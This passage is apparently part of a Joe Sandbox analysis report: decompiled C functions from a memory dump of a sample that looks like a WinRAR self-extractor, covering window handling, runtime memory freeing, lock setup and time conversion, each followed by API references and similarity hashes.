				GetWindowRect(_t60,  &_v20);
				 *0x13daadc(0,  *0x13dab38(_t60,  &_v20, 2));
				if( *(_t47 + 4) != 0) {
					 *0x13daae4( *(_t47 + 4));
				}
				_t36 = _v36;
				_t40 =  *0x13daaec(0, L"RarHtmlClassName", 0, 0x40000000, _t36 + 1, _v36, _v28 - _t36 - 2, _v28 - _v36,  *0x13dab38(_t60, 0,  *_t47, _t47, _t52));
				 *(_t47 + 4) = _t40;
				if( *((intOrPtr*)(_t47 + 0x10)) != 0) {
					__eflags = _t40;
					if(_t40 != 0) {
						ShowWindow(_t40, 5);
						return  *0x13daae0( *(_t47 + 4));
					}
				} else {
					if(_t60 != 0 &&  *((intOrPtr*)(_t47 + 0x18)) == 0) {
						_t66 =  *(_t47 + 0x14);
						if( *(_t47 + 0x14) != 0) {
							_t40 = E013B83C6(_t47, _t66,  *(_t47 + 0x14));
							_t59 = _t40;
							if(_t59 != 0) {
								ShowWindow(_t60, 5);
								SetWindowTextW(_t60, _t59);
								return L013C20BE(_t59);
							}
						}
					}
				}
				return _t40;
			}

0x013b85a4
0x013b85a8
0x013b85ae
0x013b85b1
0x013b85b4
0x013b85c0
0x013b85c9
0x013b85d0
0x013b85d9
0x013b85f0
0x013b85fa
0x013b85ff
0x013b85ff
0x013b8605
0x013b8640
0x013b8646
0x013b864d
0x013b8687
0x013b8689
0x013b868e
0x00000000
0x013b8697
0x013b864f
0x013b8651
0x013b8658
0x013b865b
0x013b8662
0x013b8667
0x013b866b
0x013b8670
0x013b8678
0x00000000
0x013b8684
0x013b866b
0x013b865b
0x013b8651
0x013b86a3

APIs

ShowWindow.USER32(?,00000000), ref: 013B85B4
GetWindowRect.USER32(?,?), ref: 013B85D9
ShowWindow.USER32(?,00000005,?), ref: 013B8670
SetWindowTextW.USER32(?,00000000), ref: 013B8678
ShowWindow.USER32(00000000,00000005), ref: 013B868E

Strings

RarHtmlClassName, xrefs: 013B863A

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Window$Show$RectText
String ID: RarHtmlClassName
API String ID: 3937224194-1658105358
Opcode ID: 6718bad8b1abbbb0679079edbfbf14a485c8a5391fa7677d4553dad0180c9b83
Instruction ID: 1ccf950adfc0cd41d7dcf8493364265629e0060324ffc203f81985881921c7eb
Opcode Fuzzy Hash: 6718bad8b1abbbb0679079edbfbf14a485c8a5391fa7677d4553dad0180c9b83
Instruction Fuzzy Hash: A031A032502310AFD7219F68EA88F5BBFACEB48715F004559FF09AA145E730D901CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 013C9300 Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E013C9300(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E013C92C4(_t45, 7);
					E013C92C4(_t45 + 0x1c, 7);
					E013C92C4(_t45 + 0x38, 0xc);
					E013C92C4(_t45 + 0x68, 0xc);
					E013C92C4(_t45 + 0x98, 2);
					E013C59B2( *((intOrPtr*)(_t45 + 0xa0)));
					E013C59B2( *((intOrPtr*)(_t45 + 0xa4)));
					E013C59B2( *((intOrPtr*)(_t45 + 0xa8)));
					E013C92C4(_t45 + 0xb4, 7);
					E013C92C4(_t45 + 0xd0, 7);
					E013C92C4(_t45 + 0xec, 0xc);
					E013C92C4(_t45 + 0x11c, 0xc);
					E013C92C4(_t45 + 0x14c, 2);
					E013C59B2( *((intOrPtr*)(_t45 + 0x154)));
					E013C59B2( *((intOrPtr*)(_t45 + 0x158)));
					E013C59B2( *((intOrPtr*)(_t45 + 0x15c)));
					return E013C59B2( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}

0x013c9306
0x013c930b
0x013c9314
0x013c931f
0x013c932a
0x013c9335
0x013c9343
0x013c934e
0x013c9359
0x013c9364
0x013c9372
0x013c9380
0x013c9391
0x013c939f
0x013c93ad
0x013c93b8
0x013c93c3
0x013c93ce
0x00000000
0x013c93de
0x013c93e3

APIs

Part of subcall function 013C92C4: _free.LIBCMT ref: 013C92ED

_free.LIBCMT ref: 013C934E

Part of subcall function 013C59B2: RtlFreeHeap.NTDLL(00000000,00000000,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?), ref: 013C59C8
Part of subcall function 013C59B2: GetLastError.KERNEL32(?,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?,?), ref: 013C59DA

_free.LIBCMT ref: 013C9359
_free.LIBCMT ref: 013C9364
_free.LIBCMT ref: 013C93B8
_free.LIBCMT ref: 013C93C3
_free.LIBCMT ref: 013C93CE
_free.LIBCMT ref: 013C93D9

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: f1ac33a155eeba0822e17f5f402666ce6a004e9925b6c7aeea596f78182db2dd
Instruction ID: 6d69e89c4d5a7052af8f53c3d5e8017ad122573ed2a1762e41568c9be3762db5
Opcode Fuzzy Hash: f1ac33a155eeba0822e17f5f402666ce6a004e9925b6c7aeea596f78182db2dd
Instruction Fuzzy Hash: D5119331642B09BAFA30BBB4CC05FCB779D9F11F1CF41481CA2E966090DA76BD444751

Uniqueness

Uniqueness Score: -1.00%

Function 013C0BB4 Relevance: 10.6, APIs: 7, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E013C0BB4(void* __ecx, void* __edx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t26;
				void* _t29;

				if( *0x13da1e0 != 0xffffffff) {
					_t26 = GetLastError();
					_t11 = E013C1DFB(__eflags,  *0x13da1e0);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E013C1E35(__eflags,  *0x13da1e0, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t29 = E013C5A7D(_t16, 1, 0x28);
								__eflags = _t29;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E013C1E35(__eflags,  *0x13da1e0, 0);
								} else {
									__eflags = E013C1E35(__eflags,  *0x13da1e0, _t29);
									if(__eflags != 0) {
										_t11 = _t29;
										_t29 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E013C59B2(_t29);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t26);
					return _t11;
				} else {
					return 0;
				}
			}

0x013c0bbb
0x013c0bce
0x013c0bd5
0x013c0bd8
0x013c0bdb
0x013c0bf4
0x013c0bf4
0x013c0bdd
0x013c0bdd
0x013c0bdf
0x013c0be9
0x013c0bef
0x013c0bf0
0x013c0bf2
0x013c0c02
0x013c0c06
0x013c0c08
0x013c0c1c
0x013c0c1c
0x013c0c25
0x013c0c0a
0x013c0c18
0x013c0c1a
0x013c0c2e
0x013c0c30
0x013c0c30
0x00000000
0x00000000
0x00000000
0x013c0c1a
0x013c0c33
0x00000000
0x00000000
0x00000000
0x013c0bf2
0x013c0bdf
0x013c0c3b
0x013c0c45
0x013c0bbd
0x013c0bbf
0x013c0bbf

APIs

GetLastError.KERNEL32(?,?,013C0BAB,013BE602), ref: 013C0BC2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 013C0BD0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 013C0BE9
SetLastError.KERNEL32(00000000,?,013C0BAB,013BE602), ref: 013C0C3B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 4ce74f7922e6f63670eeb5ab730287117c39c298ecf8d75e2d8969fd18e334bb
Instruction ID: d948363140b53eec9615251c7fd3bf17494662898c37998c25a9afaa339eb1c2
Opcode Fuzzy Hash: 4ce74f7922e6f63670eeb5ab730287117c39c298ecf8d75e2d8969fd18e334bb
Instruction Fuzzy Hash: 1C01B13A25A313EEEA3926BCBD845663A58EB11FFCB20422EF510861D5EE114D019740

Uniqueness

Uniqueness Score: -1.00%

Function 013BC7FC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E013BC7FC() {
				intOrPtr _t1;
				_Unknown_base(*)()* _t3;
				void* _t5;
				_Unknown_base(*)()* _t6;
				struct HINSTANCE__* _t14;

				_t1 =  *0x13fa978; // 0x0
				if(_t1 != 1) {
					if(_t1 == 0) {
						_t14 = GetModuleHandleW(L"KERNEL32.DLL");
						if(_t14 != 0) {
							_t3 = GetProcAddress(_t14, "AcquireSRWLockExclusive");
							if(_t3 == 0) {
								goto L5;
							} else {
								 *0x13fa97c = _t3;
								_t6 = GetProcAddress(_t14, "ReleaseSRWLockExclusive");
								if(_t6 == 0) {
									goto L5;
								} else {
									 *0x13fa980 = _t6;
								}
							}
						} else {
							L5:
							_t14 = 1;
						}
						asm("lock cmpxchg [edx], ecx");
						if(0 != 0 || _t14 != 1) {
							if(0 != 1) {
								_t5 = 1;
							} else {
								goto L12;
							}
						} else {
							L12:
							_t5 = 0;
						}
						return _t5;
					} else {
						return 1;
					}
				} else {
					return 0;
				}
			}

0x013bc7fc
0x013bc807
0x013bc80f
0x013bc821
0x013bc825
0x013bc831
0x013bc839
0x00000000
0x013bc83b
0x013bc841
0x013bc846
0x013bc84e
0x00000000
0x013bc850
0x013bc850
0x013bc850
0x013bc84e
0x013bc827
0x013bc827
0x013bc827
0x013bc827
0x013bc85e
0x013bc864
0x013bc86c
0x013bc872
0x00000000
0x00000000
0x00000000
0x013bc86e
0x013bc86e
0x013bc86e
0x013bc86e
0x013bc876
0x013bc811
0x013bc814
0x013bc814
0x013bc809
0x013bc80c
0x013bc80c

Strings

KERNEL32.DLL, xrefs: 013BC816
AcquireSRWLockExclusive, xrefs: 013BC82B
ReleaseSRWLockExclusive, xrefs: 013BC83B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: ea0eb368259f4e1088f49139ff1679fd2ca897e40178ef55578d862e5b1f5771
Instruction ID: f5fc18bf8a07a64e99ab35fb0a8974c477e9bbe2985c8592f07e8dbc54999e64
Opcode Fuzzy Hash: ea0eb368259f4e1088f49139ff1679fd2ca897e40178ef55578d862e5b1f5771
Instruction Fuzzy Hash: 5701F476B42222ABDF315D79B8C59E72F8C9A0667EB10213EE715D7A00F721C044ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 013C5513 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E013C5513(signed int __ecx) {
				intOrPtr _t7;

				asm("lock xadd [eax], ecx");
				if((__ecx | 0xffffffff) == 0) {
					_t7 =  *0x13da8a0; // 0x6a2058
					if(_t7 != 0x13da680) {
						E013C59B2(_t7);
						 *0x13da8a0 = 0x13da680;
					}
				}
				E013C59B2( *0x13faf30);
				 *0x13faf30 = 0;
				E013C59B2( *0x13faf34);
				 *0x13faf34 = 0;
				E013C59B2( *0x13fb380);
				 *0x13fb380 = 0;
				E013C59B2( *0x13fb384);
				 *0x13fb384 = 0;
				return 1;
			}

0x013c551c
0x013c5520
0x013c5522
0x013c552e
0x013c5531
0x013c5537
0x013c5537
0x013c552e
0x013c5543
0x013c5550
0x013c5556
0x013c5561
0x013c5567
0x013c5572
0x013c5578
0x013c5580
0x013c5589

APIs

_free.LIBCMT ref: 013C5531

Part of subcall function 013C59B2: RtlFreeHeap.NTDLL(00000000,00000000,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?), ref: 013C59C8
Part of subcall function 013C59B2: GetLastError.KERNEL32(?,?,013C92F2,?,00000000,?,00000000,?,013C9319,?,00000007,?,?,013C9716,?,?), ref: 013C59DA

_free.LIBCMT ref: 013C5543
_free.LIBCMT ref: 013C5556
_free.LIBCMT ref: 013C5567
_free.LIBCMT ref: 013C5578

Strings

X j, xrefs: 013C5513, 013C5522, 013C5537

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: X j
API String ID: 776569668-2769095422
Opcode ID: e8379f2b4c803d8f2ed9e36a5670cd7873a1c6d08582eefaca3be05898a5e162
Instruction ID: c9ea5961a5f03b99b3a3303a23fe2af7e417cfc4ae31cc40868c7d1ee6339d40
Opcode Fuzzy Hash: e8379f2b4c803d8f2ed9e36a5670cd7873a1c6d08582eefaca3be05898a5e162
Instruction Fuzzy Hash: 6EF030B55133118BDB316F1CFA014493F78FB25B24B41015EFC149729CDB345C419B82

Uniqueness

Uniqueness Score: -1.00%

Function 013B003E Relevance: 9.1, APIs: 6, Instructions: 94
timeCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E013B003E(intOrPtr* __ecx, intOrPtr __edx, intOrPtr* _a4) {
				char _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v64;
				struct _FILETIME _v72;
				intOrPtr _v76;
				struct _FILETIME _v84;
				intOrPtr _t47;
				long _t61;
				intOrPtr* _t66;
				long _t72;
				intOrPtr _t73;
				intOrPtr* _t76;

				_t73 = __edx;
				_t66 = _a4;
				_t76 = __ecx;
				_v48.wYear =  *_t66;
				_v48.wMonth =  *((intOrPtr*)(_t66 + 4));
				_v48.wDay =  *((intOrPtr*)(_t66 + 8));
				_v48.wHour =  *((intOrPtr*)(_t66 + 0xc));
				_v48.wMinute =  *((intOrPtr*)(_t66 + 0x10));
				_v48.wSecond =  *((intOrPtr*)(_t66 + 0x14));
				_v48.wMilliseconds = 0;
				_v48.wDayOfWeek.wYear = 0;
				if(SystemTimeToFileTime( &_v48,  &_v64) == 0) {
					 *_t76 = 0;
					 *((intOrPtr*)(_t76 + 4)) = 0;
				} else {
					if(E013AA930() >= 0x600) {
						FileTimeToSystemTime( &_v64,  &_v32);
						__imp__TzSpecificLocalTimeToSystemTime(0,  &_v32,  &_v16);
						SystemTimeToFileTime( &(_v32.wDayOfWeek),  &_v84);
						SystemTimeToFileTime( &(_v48.wDayOfWeek),  &(_v72.dwHighDateTime));
						_t61 = _v84.dwHighDateTime + _v72.dwLowDateTime;
						asm("sbb eax, [esp+0x24]");
						asm("sbb eax, edi");
						asm("adc eax, edi");
						_t72 = 0 - _v72.dwHighDateTime.dwLowDateTime + _v84.dwLowDateTime + _v76;
						asm("adc eax, edi");
					} else {
						LocalFileTimeToFileTime( &_v64,  &_v72);
						_t61 = _v72.dwHighDateTime.dwLowDateTime;
						_t72 = _v72.dwLowDateTime;
					}
					 *_t76 = E013BD320(_t72, _t61, 0x64, 0);
					 *((intOrPtr*)(_t76 + 4)) = _t73;
				}
				_t47 =  *((intOrPtr*)(_t66 + 0x18));
				 *_t76 =  *_t76 + _t47;
				asm("adc [esi+0x4], edi");
				return _t47;
			}

0x013b003e
0x013b0042
0x013b0051
0x013b0053
0x013b005c
0x013b0065
0x013b006e
0x013b0077
0x013b0080
0x013b0087
0x013b008c
0x013b00a0
0x013b013c
0x013b013e
0x013b00a6
0x013b00b2
0x013b00d8
0x013b00e9
0x013b00f9
0x013b0105
0x013b010d
0x013b0113
0x013b011b
0x013b0121
0x013b0123
0x013b0127
0x013b00b4
0x013b00be
0x013b00c4
0x013b00c8
0x013b00c8
0x013b0133
0x013b0135
0x013b0135
0x013b0141
0x013b0144
0x013b0146
0x013b0150

APIs

SystemTimeToFileTime.KERNEL32(?,?), ref: 013B009C

Part of subcall function 013AA930: GetVersionExW.KERNEL32(?), ref: 013AA955

LocalFileTimeToFileTime.KERNEL32(?,?), ref: 013B00BE
FileTimeToSystemTime.KERNEL32(?,?), ref: 013B00D8
TzSpecificLocalTimeToSystemTime.KERNEL32(00000000,?,?), ref: 013B00E9
SystemTimeToFileTime.KERNEL32(?,?), ref: 013B00F9
SystemTimeToFileTime.KERNEL32(?,?), ref: 013B0105

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: b3ce10d2aaa2c7a47f023926f3eef37790709b5e0915d457d069bd584e36a19f
Instruction ID: 851942b4fee8df765092a24305577393e985e5ac12d96c29d0cf978eb490e44e
Opcode Fuzzy Hash: b3ce10d2aaa2c7a47f023926f3eef37790709b5e0915d457d069bd584e36a19f
Instruction Fuzzy Hash: D431D37A1083469BC714DFA9D9809ABB7F8FF98704F04491EFA99C3610E730D549CB2A

Uniqueness

Uniqueness Score: -1.00%

Function 013B820D Relevance: 9.1, APIs: 6, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E013B820D(signed int _a4, intOrPtr _a8, signed int* _a12) {
				void* _t16;
				signed int _t22;
				void* _t25;
				signed int _t30;
				signed int* _t34;

				_t34 = _a12;
				if(_t34 != 0) {
					_t32 = _a8;
					_t25 = 0x10;
					if(E013BE8EC(_a8, 0x13d17ec, _t25) == 0) {
						L13:
						_t30 = _a4;
						 *_t34 = _t30;
						L14:
						 *((intOrPtr*)( *_t30 + 4))(_t30);
						_t16 = 0;
						L16:
						return _t16;
					}
					if(E013BE8EC(_t32, 0x13d182c, _t25) != 0) {
						if(E013BE8EC(_t32, 0x13d180c, _t25) != 0) {
							if(E013BE8EC(_t32, 0x13d17dc, _t25) != 0) {
								if(E013BE8EC(_t32, 0x13d185c, _t25) != 0) {
									if(E013BE8EC(_t32, 0x13d17cc, _t25) != 0) {
										 *_t34 =  *_t34 & 0x00000000;
										_t16 = 0x80004002;
										goto L16;
									}
									goto L13;
								}
								_t30 = _a4;
								_t22 = _t30 + 0x10;
								L11:
								asm("sbb ecx, ecx");
								 *_t34 =  ~_t30 & _t22;
								goto L14;
							}
							_t30 = _a4;
							_t22 = _t30 + 0xc;
							goto L11;
						}
						_t30 = _a4;
						_t22 = _t30 + 8;
						goto L11;
					}
					_t30 = _a4;
					_t22 = _t30 + 4;
					goto L11;
				}
				return 0x80004003;
			}

0x013b8211
0x013b8216
0x013b8224
0x013b8229
0x013b823b
0x013b82ca
0x013b82ca
0x013b82cd
0x013b82cf
0x013b82d2
0x013b82d5
0x013b82e1
0x00000000
0x013b82e2
0x013b8252
0x013b826d
0x013b8288
0x013b82a3
0x013b82c8
0x013b82d9
0x013b82dc
0x00000000
0x013b82dc
0x00000000
0x013b82c8
0x013b82a5
0x013b82a8
0x013b82ab
0x013b82af
0x013b82b3
0x00000000
0x013b82b3
0x013b828a
0x013b828d
0x00000000
0x013b828d
0x013b826f
0x013b8272
0x00000000
0x013b8272
0x013b8254
0x013b8257
0x00000000
0x013b8257
0x00000000

APIs

_memcmp.LIBVCRUNTIME ref: 013B8231
_memcmp.LIBVCRUNTIME ref: 013B8248

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: b615d36668c49d7123071048f5878d22002864e929b4f8c166311de49bfd7b14
Instruction ID: 6b2d6d26528c0c72617b56306b2afbaed3762c9c9c16f8485221f968a8fc7ddd
Opcode Fuzzy Hash: b615d36668c49d7123071048f5878d22002864e929b4f8c166311de49bfd7b14
Instruction Fuzzy Hash: 75218376A0050FABE7159A19ECC2EFB7BACAF50A5CB008178FE04DEA05F334D9459691

Uniqueness

Uniqueness Score: -1.00%

Function 013C630E Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 72%

			E013C630E(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x13da20c; // 0x6
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E013C5A7D(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E013C793F(_t25, _t36, __eflags,  *0x13da20c, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E013C6180(_t25, _t31, 0x13faf38);
							E013C59B2(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E013C59B2();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E013C5A3A(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x13da20c; // 0x6
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E013C5A7D(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E013C793F(_t27, _t37, __eflags,  *0x13da20c, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E013C6180(_t27, _t32, 0x13faf38);
									E013C59B2(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E013C59B2();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E013C78E9(_t25, _t37, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E013C78E9(_t23, _t36, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x013c630e
0x013c630e
0x013c630e
0x013c6318
0x013c631a
0x013c631f
0x013c6322
0x013c6330
0x013c6337
0x013c633c
0x013c633f
0x013c6342
0x013c6354
0x013c6359
0x013c635b
0x013c6366
0x013c636d
0x013c6372
0x013c6375
0x013c6377
0x00000000
0x00000000
0x00000000
0x00000000
0x013c635d
0x013c635d
0x00000000
0x013c635d
0x013c6344
0x013c6344
0x013c6345
0x013c6345
0x013c634a
0x013c6385
0x013c6386
0x013c638c
0x013c6391
0x013c6394
0x013c6395
0x013c6396
0x013c639d
0x013c639f
0x013c63a1
0x013c63a6
0x013c63a9
0x013c63b7
0x013c63c3
0x013c63c6
0x013c63c9
0x013c63db
0x013c63e0
0x013c63e2
0x013c63ed
0x013c63f3
0x013c63fb
0x013c63fd
0x00000000
0x00000000
0x00000000
0x00000000
0x013c63e4
0x013c63e4
0x00000000
0x013c63e4
0x013c63cb
0x013c63cb
0x013c63cc
0x013c63cc
0x013c63ff
0x013c6400
0x013c6400
0x013c63ab
0x013c63b1
0x013c63b5
0x013c6408
0x013c6409
0x013c640f
0x00000000
0x00000000
0x00000000
0x013c63b5
0x013c6416
0x013c6416
0x013c6324
0x013c632a
0x013c632e
0x013c6379
0x013c637a
0x013c6384
0x00000000
0x00000000
0x00000000
0x013c632e

APIs

GetLastError.KERNEL32(?,013DCBE8,013C2664,013DCBE8,?,?,013C2203,?,?,013DCBE8), ref: 013C6312
_free.LIBCMT ref: 013C6345
_free.LIBCMT ref: 013C636D
SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C637A
SetLastError.KERNEL32(00000000,?,013DCBE8), ref: 013C6386
_abort.LIBCMT ref: 013C638C

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 3dcc38119b0a8d21ca11ac25c6c41294374eec78677176750ad953e64d99f19c
Instruction ID: a0d56faef3779e59de5e79b80b3c00f2a2d474909bc1fc537a8413bc41a0aba7
Opcode Fuzzy Hash: 3dcc38119b0a8d21ca11ac25c6c41294374eec78677176750ad953e64d99f19c
Instruction Fuzzy Hash: ECF0A4B620261277D722262D7D0AB5A3A6D9BD1E7DF25011CF91492390EF25DC114365

Uniqueness

Uniqueness Score: -1.00%

